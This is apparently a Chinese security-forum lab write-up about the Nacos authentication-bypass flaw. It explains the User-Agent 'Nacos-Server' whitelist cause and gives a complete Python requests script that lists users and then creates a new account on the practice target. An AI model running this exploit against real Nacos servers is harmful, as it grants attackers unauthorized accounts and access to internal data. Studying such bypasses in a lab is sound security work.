Nacos未授权访问测试

yufei   ·   发表于 2023-06-29 19:43:32   ·   漏洞文章

无聊刷微信朋友圈,看到老师和70师傅发的靶场上新了,这不得尝试一下,打开靶场看到是一个提示nacos未授权访问

开始学习,
漏洞成因:该漏洞是由于在com.alibaba.nacos.core.auth.AuthFilter#doFilter中在处理服务间通信时存在默认鉴权白名单导致,代码在解析请求时,会判断User-Agent值,若是以Nacos-Server字符串开头,则会跳过后续权限校验流程。攻击者可通过利用该漏洞发送特殊数据绕过身份认证,从而调用任何接口,获取内部数据或添加任意用户,进一步利用甚至可能执行恶意代码。

测试方法,千遍一律的抓包,就缩略描述一下,5通过拼接路径;/nacos/v1/auth/users?pageNo=1&pageSize=1,我们验证了一个漏洞存在(这是个靶场,,写这个多次一举),对其进行抓包放入重放模块后,修改为post模式(一定要修改!!!!)将我们想要添加的用户作为拼接到我们的URl,将UA修改为Nacos-Server,data为pageNo=1&pageSize=9,去完成漏洞利用
了解了成因,了解了测试方法,本人为了偷懒不去抓包,就去编写脚本开始帮我吧,嘿嘿嘿

import requests

target_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?pageNo=1&pageSize=9"

# 发送GET请求,验证漏洞存在
response = requests.get(target_url)
if response.status_code == 200:
    print("漏洞存在")
    print("响应内容:", response.text)

# 准备POST请求参数
post_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?username=test1&password=test1"
headers = {
    "User-Agent": "Nacos-Server"
}
data = {
    "pageNo": "1",
    "pageSize": "9"
}
# 发送POST请求,添加用户
response = requests.post(post_url, headers=headers, data=data)
if response.status_code == 200:
    print("用户添加成功")

# 验证添加的用户是否生效
response = requests.get(target_url)
if "test" in response.text:
    print("响应内容:",response.text)

写完脚本测试一下吧

进网页验证一下吧

复现成功,完美,
继续学习

用户名金币积分时间理由
Track-魔方 300.00 0 2023-06-30 11:11:49 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2023-6-29 | 842 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.